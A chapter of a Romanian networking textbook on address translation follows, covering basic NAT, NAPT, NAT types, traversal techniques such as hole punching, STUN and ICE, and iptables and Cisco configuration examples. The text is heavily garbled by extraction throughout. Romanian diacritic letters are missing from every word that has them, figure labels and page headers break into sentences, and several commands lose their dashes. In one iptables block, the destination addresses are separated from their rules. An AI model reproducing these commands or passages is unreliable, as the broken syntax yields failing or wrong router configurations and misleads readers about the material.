La nceputul anilor '90 a devenit evident c Internet-ul nu va scala prin intermediul adreselor IPv4. Adresele IPv4, pe 32 de bii, nu puteau acoperi numrul crescnd de cereri. Au aprut dou soluii: soluia radical de transformare, anume IPv6, i soluia conservatoare de ajustare , constnd n translatarea de adrese (NAT Network Address Translation). IPv6 permite generarea unui numr impresionant de adrese, pentru care nu se estimeaz probleme de epuizare n urmtorii zeci de ani. Cu toate acesta, adoptarea IPv6 este dificil. La mai mult de 15 ani de la introducerea protocolului, acesta nc nu are o pondere semnificativ. Soluia bazat pe NAT permite folosirea n continuare a adreselor IPv4, reuind s ocoleasc problema epuizrii adreselor. Cnd se folosete NAT, staiile din cadrul reelei locale folosesc adrese private (nerutabile). La comunicarea prin Internet, gateway-ul joac rolul de translator de adrese i traduce adresele private n adrese publice. Pachetelor transmise de staiile din reeaua local le este alterat adresa surs, iar celor venite din exterior le este modificat adresa destinaie. Astfel devine posibil comunicaia ntre staiile din reeaua local i staiile din Internet. NAT constituie i o form de securizare a reelei locale. Staiile din reeaua local folosesc adrese private, nerutabile n Internet. Aceste adrese nu pot fi accesate din exterior n mod direct, dect n

A l t e r a r e a p a c h e t e l o r | 269 cazul unei configurri explicite de NAT. n acest fel, staiile din reeaua local sunt protejate de posibile atacuri din afara reelei locale. Translatarea se poate realiza doar la nivelul adreselor de nivel 3 (n general, adrese IPv4) sau la nivelul adreselor de nivel 3 i porturilor (nivel 4). Primul caz poart numele de NAT de baz, iar al doilea de NAPT (Network Address and Port Translation). De obicei, denumirea NAT se folosete pentru cazul NAPT. Dispozitivul care realizeaz translatarea este translatorul de adrese. Spunem c staiile din reeaua local sunt staiile din spatele translatorului de adrese, sau din spatele NAT. Translatorul de adrese este, n general, gateway-ul reelei locale, ndeplinind, astfel, multiple roluri: ruter: dirijarea pachetelor din reeaua local n Internet i invers; firewall: filtrarea pachetelor care pot compromite reeaua; translator de adrese: asigurarea conectivitii staiilor din reeaua local, staii ce folosesc adrese private. Adresele folosite de staiile din reeaua local din spatele unui NAT sunt de obicei adrese private. Adresele private sunt adrese care se folosesc doar n reelele locale. Acestea nu sunt rutabile n Internet i nu pot fi folosite pentru identificarea unei staii n Internet, fiind folosite n cazuri de testare a unei reele locale (pentru uz intern) sau pentru a economisi adrese. n cea de-a doua eventualitate, gateway-ul/translatorul de adrese are o adres IP public, folosit pentru comunicarea pe Internet, i o adres IP privat pentru comunicarea, n reeaua local, cu celelalte staii cu adrese IP private. Toate pachetele din reeaua local ce necesit comunicare cu Internet-ul trec pe la gateway i sunt translatate, adresa lor surs fiind nlocuit cu adresa IP public a gateway-ului. n continuare vor fi prezentate cele dou tipuri de NAT: NAT de baz i NAPT, mpreun cu avantajele i dezavantajele tehnicilor de translatare de adres. n general, abrevierea NAT face referire la NAPT.

8.2.1 NAT de baz


NAT de baz este forma simpl a translatrii de adrese, n care se substituie doar adresa de nivel 3. Adresa IP privat este substituit cu o adres IP public. Pentru a permite funcionarea NAT de baz, gateway-ul trebuie s aib disponibile att de multe adrese IP publice cte adrese IP private sunt n reeaua local, pentru a permite conexiuni cu toate staiile. Este vorba de o mapare unu-launu ntre adresele IP private (din reeaua local) i adresele IP publice disponibile gateway-ului. Modul de funcionare a NAT de baz este prezentat mai jos. ntruct este necesar prezena unui numr considerabil de adrese IP publice, NAT de baz nu ofer avantajul economiei de adrese. Ofer, n schimb, avantajul securitii, prin ascunderea adreselor folosite de staiile din reeaua privat, n cazul n care asocierea dintre adresa IP privat i adres IP public se realizeaz dinamic. ntruct nu reduce folosirea adreselor, NAT de baz are o rspndire redus, majoritatea implementrilor de NAT folosind NAPT. Cu toate acestea, NAT de baz are avantajul simplitii i este util pentru nelegerea conceptului de translatare de adrese. Pentru realizarea translatrii, gateway-ul menine o tabel de translatare, gestionat de administrator, care conine regulile de translatare. Tabela de translatarea poate conine, la un moment dat, intrri precum cele de mai jos: Tip Altereaz Sursa Altereaz Sursa Altereaz Destinaia Altereaz Destinaia Iniial 10.38.0.2 10.38.0.3 141.85.37.252 141.85.37.253 Dup NAT 141.85.37.252 141.85.37.253 10.38.0.2 10.38.0.3

n figurile urmtoare s-au folosit 2 staii (A i B) care comunic printr-un ruter cu o staie C din Internet.

270 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Intrrile din tabel conduc la urmtorul comportament: n momentul n care, pe interfaa eth0, gateway-ul primete un pachet cu adresa surs 10.38.0.2, acesta translateaz adresa surs la adresa 141.85.37.252; adresa destinaie nu este modificat (vezi Figura 8-1); IP Dest IP Surs C 10.38.0.2 1 IP Dest C
R1

IP Surs 141.85.37.252 2

Figura 8-1 NAT de baz pentru staia A (alterare surs) La fel, n momentul n care, pe interfaa eth0, gateway-ul primete un pachet cu adresa surs 10.38.0.3, acesta translateaz adresa surs la adresa 141.85.37.253 i apoi transmite pachetul mai departe pe interfaa eth1; adresa destinaie nu este modificat (vezi Figura 8-2);

A IP Dest C
R1

IP Surs 141.85.37.253 4

IP Dest IP Surs C 10.38.0.3 3

Figura 8-2 NAT de baz pentru staia B (alterare surs) n momentul n care, pe interfaa eth1, gateway-ul primete un pachet cu adresa destinaie 141.85.37.252, acesta translateaz adresa destinaie n 10.38.0.2; adresa surs nu este modificat (vezi Figura 8-3);

A l t e r a r e a p a c h e t e l o r | 271

IP Dest 10.38.0.2

IP Surs C 6 IP Dest 141.85.37.252


R1

IP Surs C 5

Figura 8-3 NAT de baz pentru staia A (alterare destinaie) n momentul n care, pe interfaa eth1, gateway-ul primete un pachet cu adresa destinaie 141.85.37.253, acesta translateaz adresa destinaie n 10.38.0.3; adresa surs nu este modificat (vezi Figura 8-4);

A IP Dest 141.85.37.253
R1

IP Surs C 7

IP Dest 10.38.0.3

IP Surs C 8

Figura 8-4 NAT de baz pentru staia B (alterare destinaie) Intrrile din tabela de translatare pot fi specificate static, de administrator, sau pot fi construite dinamic. n cazul construirii dinamice, o conexiune din interior ctre exterior, de la staia A cu o adres privat dat (fie aceasta 10.38.0.3), coduce la selectarea unei adrese publice din pool-ul de adrese publice (fie aceast adres 141.85.37.253). Se creeaz o intrare cu perechea <10.38.0.3, 141.85.37.253> i se urmrete comportamentul descris mai sus. Intrarea dureaz ct timp exist o conexiune activ de la staia A ctre exterior.

8.2.2 NAPT
NAPT (Network Address and Port Translation), denumit i PAT (Port Address Translation) este forma principal de NAT din Internet i este, de obicei, folosit interschimbabil cu termenul NAT. Dup cum reiese i din denumire, NAPT lucreaz cu porturi, adic adrese de nivel 4. Altfel spus, dac NAT de baz altereaz doar adresele de nivelul 3, PAT altereaz adresele de nivelul 3 i porturile. Avantajul esenial al NAPT const n posibilitatea economisirii adreselor IP publice. Astfel, un gateway/translator de adrese va folosi o singur adres IP public pentru a asigura conectivitatea tuturor staiilor din reeaua local; aceste staii vor utiliza, ca de obicei n reelele cu NAT, adrese IP private.

272 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Un gateway care folosete NAPT traduce adresa surs i portul surs ale pachetelor ce vin din reeaua local i pleac n Internet, i traduce adresa destinaie i portul destinaie al pachetelor ce sosesc din Internet ctre reeaua local. Tabela de translatare reflect acest mod de funcionare. Dac, n cazul NAT de baz, tabela de translatare coninea doar adresa IP privat i cea public, acum se precizeaz i portul surs i portul destinaie. O tabel de translatare NAPT poate avea urmtorul format: Tip Iniial Dup NAT Altereaz Sursa 10.38.0.2:44444 141.85.37.252:12345 Altereaz Sursa 10.38.0.3:55555 141.85.37.253:54321 Altereaz Destinaia 141.85.37.252:12345 10.38.0.2:44444 Altereaz Destinaia 141.85.37.253:54321 10.38.0.3:55555 n figurile urmtoare s-au folosit 2 staii (A i B) care comunic printr-un ruter cu o staie C din Internet. Intrrile din tabel conduc la urmtorul comportament: n momentul n care, pe interfaa eth0, gateway-ul primete un pachet cu adresa/portul surs 10.38.0.2:44444, acesta translateaz adresa surs la adresa 141.85.37.252:12345 i l trimite mai departe pe interfaa eth1; adresa destinaie nu este modificat (vezi Figura 8-5); A IP Dest IP / Port Surs C 10.38.0.2:44444 1 IP Dest C
R1

IP/Port Surs 141.85.37.252:12345 2

Figura 8-5 NAPT pentru staia A (alterare surs) n momentul n care, pe interfaa eth0, gateway-ul primete un pachet cu adresa/portul surs 10.38.0.3:55555, acesta translateaz adresa surs la adresa 141.85.37.253:54321 i l trimite mai departe pe interfaa eth1; adresa destinaie nu este modificat (vezi Figura 8-6); A IP Dest C
R1

IP/Port Surs 141.85.37.253:54321 4

IP Dest IP/Port Surs C 10.38.0.3:5555 5 3

Figura 8-6 NAPT pentru staia B (alterare surs)

A l t e r a r e a p a c h e t e l o r | 273 n momentul n care, pe interfaa eth1, gateway-ul primete un pachet cu adresa destinaie 141.85.37.252:12345, acesta translateaz adresa destinaie n 10.38.0.2:44444 i l trimite mai departe pe interfaa eth0; adresa surs nu este modificat (vezi Figura 8-7); A IP/Port Dest 10.38.0.2:44444 IP Surs C 6

R1

IP/Port Dest 141.85.37.252:12345

IP Surs C 5

Figura 8-7 NAPT pentru staia A (alterare destinaie) n momentul n care, pe interfaa eth1, gateway-ul primete un pachet cu adresa destinaie 141.85.37.253:54321, acesta translateaz adresa destinaie n 10.38.0.3:55555 i l trimite mai departe pe interfaa eth0; adresa surs nu este modificat (vezi Figura 8-8). A IP/Port Dest 141.85.37.253:54321
R1

IP Surs C 7

IP/Port Dest 10.38.0.3:55555

IP Surs C 8

Figura 8-8 NAPT pentru staia B (alterare destinaie) Intrrile din tabela NAT sunt adugate fie direct de administrator, fie indirect, pe baza unor reguli specificate de acesta. Astfel, dac se dorete ca o staie din interiorul reelei locale s poate accesa Internet -ul, se activeaz translatarea adresei surs (ip nat inside source pe Cisco sau SNAT pe Linux). Aceast activare propune modificarea adresei surs private i portului surs cu adres public pus la dispoziie de gateway i un port dat. Acel port este ales de gateway n momentul primirii unui pachet de la o staie din reeaua local; n acel moment (i nu n momentul adugrii regulii de ctre administrator!) se adug o intrare n tabela NAT. Primirea unui pachet de la alt staie duce la generarea unui alt port i, astfel, la adugarea unui noi intrri. Primirea unui pachet de la aceeai staie, dar ctre alt destinaie, duce de asemenea la generarea unei noi intrri. n acest mod, pe baza unei singure reguli de activare a inside nat/SNAT de administrator, se pot genera foarte multe intrri n tabela NAT, conform cu numrul de conexiuni active din reeaua local. Pachetele de

274 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e rspuns din Internet vor parcurge intrarea creat i vor fi dirijate ctre staia ce a expediat mesajul. Intrrile sunt eliminate n momentul ncheierii conexiunii, n cazul unui protocol de forma TCP, sau dup un timeout, n cazul unui protocol de forma UDP sau ICMP. Activarea inside NAT/SNAT nseamn c o staie din interior poate folosi comanda ping pentru a testa staii din Internet. Dac se dorete ca o staie din exterior s acceseze un serviciu din interior, atunci trebuie ca administratorul s adauge explicit o regul. Aceast mapare explicit, static, va permite pachetelor ce ajung ctre un port al gateway-ului s fie redirectate ctre un port al unei staii din reeaua local. Acest tip de regul poart i numele de regul de port forwarding (redirectare de port). Intrrile sunt intrri statice i nu expir. n cadrul regulii administratorul precizeaz toate elementele necesare: portul dechis pe gateway, i adresa i portul staiei din reeaua local peste care este mapat acel port. Dup ce administratorul creeaz regula, pachetele ce ajung din exterior pe portul dat sunt redirectate ctre staia din reeaua local, pe portul indicat de aceasta. n mod informal, se spune c gateway-ul deschide un port pentru staia A din reeaua local. Tehnica de port forwarding este foarte util n reelele Peer-to-Peer (de tip BitTorrent), pentru a permite peer-ilor din exterior accesarea unei staii din reeaua local. Intrrile din tabela NAT nu in cont doar de adresa surs, portul surs, adresa destinaie i portul destinaie. Pentru a face diferena ntre pachetele UDP i TCP, acestea menin i informaii legate de protocol. Va exista, intern, o regul separat pentru o comunicaie UDP i alta pentru comunicaia TCP. n cazul ICMP, neexistnd porturi, trebuie s existe un mecanism diferit de a identifica regulile. De exemplu, n cazul n care dou staii diferite din reeaua local trimit pachete ICMP echo request ctre aceeai staie din exterior, este necesar un mecanism de identificare a acestor staii n momentul primirii pachetului de rspuns de tip ICMP echo reply. Acesta vine cu adresa surs - adresa staiei din exterior, iar cu adresa destinaie - adresa gateway-ului. n momentul primirii pachetului, regula de NAT trebuie s tie cui s trimit pachetul i s nlocuiasc adresa destinaie. Pentru aceasta, regula respectiv menine i un identificator al pachetului ICMP (denumit ICMP Query ID). Acesta este echivalentul portului din TCP i UDP i este folosit pentru a identifica regula ce va fi folosit.

8.2.3 Avantajele i dezavantajele NAT


Principalul avantaj al tehnicilor de translatare a adreselor const n economisirea adreselor IPv4. Forma cea mai folosit de NAT (NAPT) permite folosirea unei singure adrese IPv4 publice (adresa gateway-ului/translatorului de NAT) pentru a asigura conectarea unui numr mare de staii din reeaua local. Staiile din reeaua local vor folosi, pentru aceasta, adrese private adrese nerutabile care nu conduc la epuizarea stocului de adrese IPv4. Dup cum am discutat anterior, izolarea staiilor locale folosind adrese IP private nseamn c, n absena unor reguli explicite de port forwarding, acestea nu pot fi accesate din exterior. Aceasta poate fi vzut ca un dezavantaj al lipsei de conectivitate, dar i un avantaj de securitate. Staiile din reeaua local vor fi, n acest caz, mai puin vulnerabile la atacuri survenite din exterior. Izolarea staiilor folosind adrese IP reprezint o problem de conectivitate. Astfel, staiile din reeaua local nu vor fi accesibile din exterior, un lucru problematic mai ales n lumea protocoalelor Peer-to-Peer, n care fiecare participant ntr-o reea Peer-to-Peer ofer servicii celorlali participani. Pentru aceasta, o soluie simpl - dar nescalabil - const n redirectarea de porturi; acest proces necesit ns acces ntr-o form sau alta la gateway, care, la rndul su, dispune de un numr limitat de porturi. O alt soluie const n folosirea tehnicilor de traversare NAT, prezentate n seciunea urmtoare. Totui, soluia stabil la aceast problem const n migrarea pe IPv6, astfel nct toate staiile s poat fi conectate. Un alt dezavantaj al NAT ine de performan. Orice pachet de comunicare n reea care trece prin gateway va parcurge tabela NAT pentru a realizarea translatarea. n cazul n care exist un numr mare de conexiuni iniiate de staiile din reeaua local, vor rezulta acelai numr de intrri n tabela NAT a gateway-ului. Pe msur ce dimensiunea acestei tabele crete, cutarea n tabel va dura mai mult timp. Aceast parcurgere trebuie realizat pentru fiecare pachet. n cazul unui numr

A l t e r a r e a p a c h e t e l o r | 275 mare de pachete ce trece prin gateway, pe lng durata operaiei de rutare, va dura foarte mult i operaia de translatare de adrese. Evident, n cazuri extreme, se poate ajunge la atingerea limitei de intrri n tabela de translatare. Aceste probleme de performan pot fi evitate complet numai prin folosirea IPv6.

8.2.4 Traversarea NAT


Prin intermediul NAT staiile din reeaua local pot accesa staiile din exterior. Dac este necesar ca staiile din exterior s acceseze staiile din reeaua local, atunci trebuie configurat corespunztor gateway-ul folosind port forwarding. Cerinele sunt uzuale n reele Peer-to-Peer, unde partenerii trebuie s fie conectabili, aa cum se ntmpl n cazul BitTorrent sau n cazul Skype. Totui, configurarea folosind port forwarding nseamn operaii pe gateway i, n general, impune i configurri pe client. De exemplu, dac se realizeaz maparea unui port pe gateway cu un port al staiei, clientul BitTorrent trebuie s ruleze pe acel port al staiei o configuraie suplimentar pe partea de client. Soluia radical const n folosirea IPv6, care rezolv definitiv problemele de conectivitate prin eliminarea adreselor private IPv4 folosite de staiile din reeaua local. Soluia conservatoare const n folosirea tehnicilor de traversare NAT. Aceste tehnici in cont de caracteristicile implementrii de NAT i vor fi detaliate n continuare.

Tipuri de NAT din perspectiva conectivitii


Tipurile de NAT din Internet, aa cum sunt specificate n RFC 3489 [6], in cont de modul de conectare la staiile din cadrul reelei locale. Fiecare tip de NAT ofer particulariti de funcionare a tehnicilor de traversare NAT. Aceste tipuri de NAT sunt date, n primul rnd, de implementarea translatorului. Cele patru tipuri de NAT incluse n RF3489 sunt Full Cone, Restricted Cone, Port-Restricted Cone i Symmetric. Aceste tipuri se refer la comportamentul datagramelor UDP prin translatorul de NAT. Full Cone este tipul de NAT n care o adres intern (de forma adres IP i port) este mapat la o adres extern (adres de gateway) pentru toate cererile de la acea adres intern. Staiile din exterior pot comunica cu staiile din interior folosind adresa extern (adresa gateway-ului). Restricted Cone este similar cu Full Cone, dar o staie din exterior (fie aceasta staia X) poate trimite un mesaj ctre o staie din interior folosind adresa extern doar dac staia din interior a trimis anterior un mesaj ctre staia X. Port Restricted Cone este similar cu Restricted Cone, dar, n acest caz, staia X poate trimite un mesaj ctre staia din interior doar dac staia din interior a trimis nainte un mesaj ctre staia X pe portul pe care aceasta l folosete ca port surs pentru a trimite noul mesaj. n fine, n cazul Symmetric, cererile trimise de la o adres intern sunt mapate ctre o adres extern, dar, n cazul n care de la aceeai adres intern se trimit cereri ctre alt staie din Internet, maparea se schimb. Aceste clasificri sunt considerate depite n ziua de azi, ntruct multe implementri folosesc soluii hibride. La un moment dat, o implementare poate folosi att Symmetric NAT ct i Full Cone NAT, pentru a obine comportamentul dorit n soluiile de traversare NAT. O estimare a proporiilor peer-ilor n reele Peer-to-Peer, n funcie de tipul de NAT n spatele cruia se regsesc, este discutat n [14]: 12.5% nu se gsesc n spatele unui NAT 12.5% se gsesc n spatele unui Full Cone NAT 5% se gsesc n spatele unui Restricted Cone NAT 40% se gsesc n spatele unui Port Restricted Cone NAT 16% se gsesc n spatele unui Symmetric NAT 14% se gsesc n spatele unui dispozitiv n care UDP-ul este blocat.

276 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e ntruct Symmetric NAT nu poate fi traversat de soluiile obinuite de traversare NAT, rezult c circa 30% dintre peerii unei reele Peer-to-Peer nu pot fi accesai prin tehnici de traversare NAT.

Tehnici de traversare NAT


Aa cum a fost menionat anterior, principalul beneficiar al tehnicilor de traversare NAT l constituie reelele Peer-to-Peer, precum swarm-urile BitTorrent. ntr-un sistem Peer-to-Peer fiecare peer (partener) din reea este simultan client i server. Astfel, un peer ofer servicii celorlali peeri i trebuie s fie conectabil. Tehnicile de traversare NAT sunt descrise detaliat n RFC 5128 [7]. Cea mai simpl, dar i cea mai puin eficient, este tehnica de relaying (redirectare), n care comunicaia trece prin intermediul unui server dedicat, dup nregistrarea n prealabil a peer-ilor. Aceasta nseamn c se pierde de fapt caracteristica de orizontalitate a Peer-to-Peer n arhitectura sistemului i c viteza de transfer poate fi afectat de ncrcarea serverului de relaying. O alt tehnic este cea de inversare a conexiunii. Aceast tehnic se aplic doar pe acele perechi de peeri n care unul dintre ei nu este situat n spatele NAT. Peer-ul din spatele NAT va iniia o conexiune suplimentar ctre peer-ul care nu se gsete n spatele NAT. Pe aceast conexiune suplimentar, peer-ul care nu se gsete n spatele NAT poate realiza conexiuni tunelate ctre peer-ul din spatele NAT. Limitarea acestei tehnici ine de numrul relativ redus (aproximativ 12.5%) de peeri care nu se gsesc n spatele unui NAT. Unele dintre tehnicile cele mai folosite sunt tehnicile de UDP hole punching. Acestea pot fi folosite doar pe implementri de NAT non-simetrice (adic Full Cone, Restricted Cone i Port Restricted Cone). Aceste tipuri de NAT se mai numesc EIM-NAT (Endpoint-Independent Mapping NAT). n linii mari, aceast tehnic se bazeaz pe un timeout al unei reguli cu UDP n translatorul de NAT. Dac unul dintre peerii din spatele NAT-ului trimite mesaje UDP n exterior, de pe un port dat, atunci acel port va fi deschis pentru conexiuni din exterior. Pentru pornirea comunicaiei este nevoie de un server iniiator care s permit descoperirea i nregistrarea; rolul su poate fi asigurat, ulterior, de oricare dintre peerii care acum sunt conectabili. O tehnic similar este TCP hole punching. Aceast tehnic ine cont de comportamentul handshake-ului iniial al TCP care permite realizarea unei conexiuni ntre cei doi peeri din spatele NAT. Pentru peerii care nu implementeaz EIM-NAT pot fi folosite tehnici de predicie a numrului de port UDP sau TCP, ntruct n cazul acestora o conexiune nou, de la aceeai adres intern ctre o destinaie diferit, conduce la folosirea unei adrese externe noi, care trebuie deci s fie determinat. Deoarece de obicei porturile sunt alese succesiv, se poate ncerca folosirea urmtorului port (N+1). Datorit complexitii acestei tehnici i a faptului c nu funcioneaz n mai multe niveluri de NAT, RFC 5128 menioneaz c ansele de funcionare ale acestei tehnici sunt mici [7].

Implementri de traversare NAT


Implementrile cele mai rspndite de traversare NAT sunt UPnP [5], STUN [6] i ICE [10]. UPnP (Universal Plug and Play) reprezint un set de protocoale folosite pentru asigurarea conectivitii ntre dispozitivele din Internet. UPnP este dezvoltat i susinut de forumul UPnP, un consoriu format din vendori implicai n networking i dispozitive pentru utilizatori obinuii. Arhitectura UPnP se bazeaz pe dispozitive dedicate, denumite puncte de control (control points), care menin informaii despre dispozitivele din sistem. IGD Protocol (Internet Gateway Device) este o form de traversare NAT bazat pe UPnP. STUN (Session Traversal Utilities for NAT) este un protocol client-server. Serverul STUN rezid n Internet, are adres public, n vreme ce clientul NAT rezid n spatele unui NAT. Serverul STUN are rolul unui relay/rendez-vous/introduction server. n funcie de tipurile de NAT, acesta i stabilete rolul prin care faciliteaz conectivitatea peer-ilor. STUN nu este un protocol de traversare NAT, ci este un instrument folosit ca parte a unei soluii mai ample. STUN este folosit, printre altele, de protocolul ICE.

A l t e r a r e a p a c h e t e l o r | 277 ICE (Interactive Connectivity Establishment) este un protocol pentru traversarea NAT. Pentru a asigura conectivitatea ntre doi peeri din spatele NAT, ICE ncearc sistematic mai multe perechi de adrese pn cnd ajunge la unele care sunt conectabile; acest lucru este realizat prin schimbarea porturilor din cadrul adreselor celor doi peeri.

8.3 Implementarea translatrii de adrese


n continuare vor fi prezentate implementrile NAT pe sisteme Linux, pe dispozitive Cisco i utilitare i comenzile folosite pentru configurarea lor. Dei comenzile i argumentele sunt diferite, modul de implementare i configurare respect noiunile teoretice prezentate n seciunile de mai sus.

8.3.1 Implementarea NAT pe Linux


n Linux, translatarea adreselor se realizeaz folosind utilitarul iptables. Utilitarul iptables este folosit pentru NAT i pentru filtrarea pachetelor (firewall software). Dup cum i spune i numele, utilitarul dispune de tabele asociate anumitor scopuri: tabela nat este folosit pentru NAT; tabela filter este folosit pentru filtrarea pachetelor; tabela mangle este o tabel folosit pentru alterarea avansat a pachetelor. Fiecare tabel conine un set de lanuri dedicate unui anumit tip de aciune. n fiecare lan pot fi adugate reguli specifice care definesc modul n care vor fi prelucrate diversele pachete. Pentru translatarea de adrese se folosete tabela nat. n aceast tabel exist trei lanuri predefinite: PREROUTING - modific pachetul imediat ce acesta intr n router, nainte de a fi rutat, OUTPUT - modific pachetele generate local nainte ca acestea s intre n procesul de rutare, i POSTROUTING - modific pachetele ce urmeaz s plece din router, dup ce acestea au fost rutate. intele valide sunt ACCEPT, DROP, QUEUE, REJECT, LOG, SNAT, DNAT, MASQUARADE, REDIRECT.

Aciuni n cadrul tabelei nat


Aciunile posibile n cadrul tabelei NAT sunt SNAT, DNAT, MASQUARADE, REDIRECT. SNAT se folosete pentru a indica o translatare de adrese de tip PAT pe adresa surs. Adresa surs a pachetului va fi modificat la una din intervalul specificat prin opiunea --to-source. Cu aceeai opiune se poate specifica i intervalul n care se va alege portul surs cnd se face translatarea de adrese. Aceast int este valid numai n lanul POSTROUTING (i lanurile apelate din acest lan). DNAT se folosete pentru o translatare de adrese de tip PAT pe adresa destinaie. Adresa destinaie a pachetului va fi modificat la una din intervalul specificat prin opiunea --todestination. Aceast int este valid numai n lanurile PREROUTING i OUTPUT (i lanurile apelate din acest lan). MASQUERADE este echivalent cu SNAT. Adresa surs va fi nlocuit cu adresa setat a interfeei pe care va fi trimis pachetul. Trebuie folosit n loc de SNAT dac adresa la care se face translatarea este setat dinamic (prin DHCP de exemplu). REDIRECT se folosete pentru a redirecta pachetul, local, pe portul specificat de opiunea -to-port. Aceast int este valid numai n lanurile PREROUTING i OUTPUT.

Exemple de utilizare a tabelei nat


Pentru a ilustra mecanismele prezentate mai sus se pot urmri regulile de mai jos:
iptables -t nat -A POSTROUTING -o eth1 s 192.168.0.0/24 -j SNAT --to-source 1.2.3.4 iptables -t nat -A PREROUTING i eth0 -d 14.15.16.17 -j DNAT --to-destination 192.168.100.1

Prima regul poate fi interpretat n felul urmtor: toate pachetele ce vin cu adresa IP surs din reeaua 192.168.0.0/24 vor fi trimise pe interfaa eth1 cu adresa IP surs 1.2.3.4, dup ce acestea

278 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e vor fi rutate. Cea de-a doua regul va schimba adresa IP destinaie (14.15.16.17) a pachetelor ce intr pe interfaa eth0 cu adresa IP 192.168.100.1, nainte ca acestea s fie rutate. n exemplul de mai jos a fost prezentat configurarea iptables pentru translatarea de adrese pe sistemul 141.85.37.1 din reeaua 192.168.1.0/24. Aceast main este doar router, iar serverul de web, serverul de e-mail i serverul de DNS ruleaz pe servere diferite, n reeaua intern. Routerul are conectat interfaa eth0 la reeaua intern i interfaa eth1 la Internet.
iptables iptables 192.168.1.2 iptables 192.168.1.3 iptables 192.168.1.4 iptables 192.168.1.4 -t nat -A POSTROUTING -o eth1 -s 192.168.1.0/24 -j SNAT --to-source 141.85.37.1 -t nat -A PREROUTING -i eth1 -p tcp --destination-port 80 -j DNAT --to-destination -t nat -A PREROUTING -i eth1 -p tcp --destination-port 25 -j DNAT --to-destination -t nat -A PREROUTING -i eth1 -p tcp --destination-port 53 -j DNAT --to-destination -t nat -A PREROUTING -i eth1 -p udp --destination-port 53 -j DNAT --to-destination

Prima linie din exemplu este folosit pentru ca staiile din reea s poat accesa Internetul. La trecerea pachetelor prin router, adresa surs a staiilor (adres privat) va fi nlocuit cu adresa routerului (adres public). Urmtoarele linii vor trimite traficul de web, e-mail i DNS ctre serverele din interior. n acest context, din exterior, aparent routerul este i server de web, e-mail i DNS. Ce se ntmpl dac se dorete ca serviciile din reeaua intern, care sunt fcute publice, s fie vzute din exterior ca rulnd pe porturi diferite fa de cele standard? Metoda ce poate fi aplicat aici se numete port forwarding. Aceast metod permite unei staii (firewall) s trimit cererile ce i sunt adresate ctre o alt staie ce va procesa aceste cereri. Cea mai folosit ntrebuinare a acestei metode apare cnd serverele ruleaz pe staii aflate n reeaua intern (dup firewall). Cu alte cuvinte, se presupune existena unui gateway cu dou interfee, eth0 fiind conectat la reeaua intern i eth1 la Internet. Fie 141.85.37.1 adresa IP public a interfeei eth1 i 192.168.0.2 adresa IP a staiei pe care ruleaz un serviciu web, pe portul implicit 80, staie ce va putea fi accesat din exterior. n exemplul de mai jos se va face redirectarea conexiunilor ce vin pe 141.85.37.1:8888 (<IP_extern:port>) ctre 192.168.0.2:80 (IP_intern:port).
iptables -t nat -A PREROUTING -i eth1 -p tcp d 141.85.37.1 --dport 8888 j DNAT -todestination 192.168.0.2:80

8.3.2 Implementarea NAT pe Cisco


Datorita modificrii adreselor IP n pachetele supuse procesului de NAT, diferite adrese sunt denumite n funcie de originea lor i de punctul de referin: Inside local: adrese private, n interiorul reelei locale; Inside global: adresa IP public ce este ataat traficului unei staii din reeaua local cnd iese n Internet prin ruterul NAT; aceasta poate fi chiar adresa public de pe interfaa ruterului. Outside global: adresa IP public asignat unei staii din Internet; aceast adres nu se modific n procesul de NAT, deoarece trebuie conservat pn cnd pachetele ajung la destinaie. Outside local: de cele mai multe ori egal cu outside global, este adresa local a unei staii din Internet; nu are relevan n cazul n care NAT se aplic doar adreselor surs.

Configurarea NAT static


Realizarea de NAT static presupune o mapare 1 la 1 ntre o adres privat i una public. Sintaxa comenzii este urmtoarea:
R2(config)#ip nat inside source static 192.168.1.1 89.221.57.81

A l t e r a r e a p a c h e t e l o r | 279

192.168.1.1/24

192.168.1.2/24

89.221.57.81/30

89.221.57.82/30

Surs: 192.168.1.1:27081 Destinaie: 89.221.57.83:80

NAT

Figura 8-9: NAT static

Surs: 89.221.57.81:27081 Destinaie: 89.221.57.83:80

Web Server

Comanda introduce o mapare permanent ntre adresa local 192.168.1.1 i adresa public 89.221.57.81. Pentru a defini i direcia n care se realizeaz translatarea adreselor, trebuie specificate interfeele inside (spre reeaua local) si cele de outside (spre Internet):
R2(config)#int fast1/0 R2(config-if)#ip nat inside R2(config-if)#int fast0/0 R2(config-if)#ip nat outside

Comanda de verificare show ip nat translations arat asocierea static definit:


R2#sh ip nat trans Pro Inside global --- 89.221.57.81 Inside local 192.168.1.1 Outside local --Outside global ---

Configurarea NAT dinamic


Realizarea de NAT dinamic ofer un surplus de flexibilitate, n sensul c permite definirea adreselor mai multor staii din reeaua local, ce vor fi translatate, precum i definirea unei mulimi de adrese publice n care acestea vor putea fi translatate. Drept exemplu de configurare, se va considera c toate adresele din reeaua local 192.168.100.0/24 vor putea fi translatate la adresele publice din intervalul 200.100.99.226 200.100.99.240. Pentru definirea listei de adrese private ce vor fi supuse procesului de NAT, se creeaz un ACL ce trebuie s permit doar adresele dorite:
R2(config)#access-list 1 permit 192.168.100.0 0.0.0.255

Mulimea adreselor publice se definete prin crearea unui pool de adrese ce cuprinde prima i ultima adres:
R2(config)#ip nat pool MYPOOL 200.100.99.226 200.100.99.240 netmask 255.255.255.224

n final, se configureaz procesul NAT s opereze cu ACL-ul si pool-ul definite anterior i se marcheaz interfeele de inside i de outside:
R2(config)#ip nat inside source list 1 pool MYPOOL R2(config)#int fast1/0 R2(config-if)#ip nat inside R2(config-if)#int fast0/0 R2(config-if)#ip nat outside

Configurare NAPT
Configurarea NAPT este similar configurrii de NAT dinamic i poate fi realizat n dou moduri: folosind doar adresa public de pe interfaa conectat la Internet; folosind un pool de adrese publice. Pentru ambele cazuri, comanda primete argumentul suplimentar overload. Exemplul de mai jos folosete adresa IP public de pe interfa:

280 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
R2(config)#ip nat inside source list 1 interface FastEthernet 0/0 overload

Exemplul urmtor folosete un pool predefinit de adrese publice:


R2(config)#ip nat inside source list 1 pool MYPOOL overload

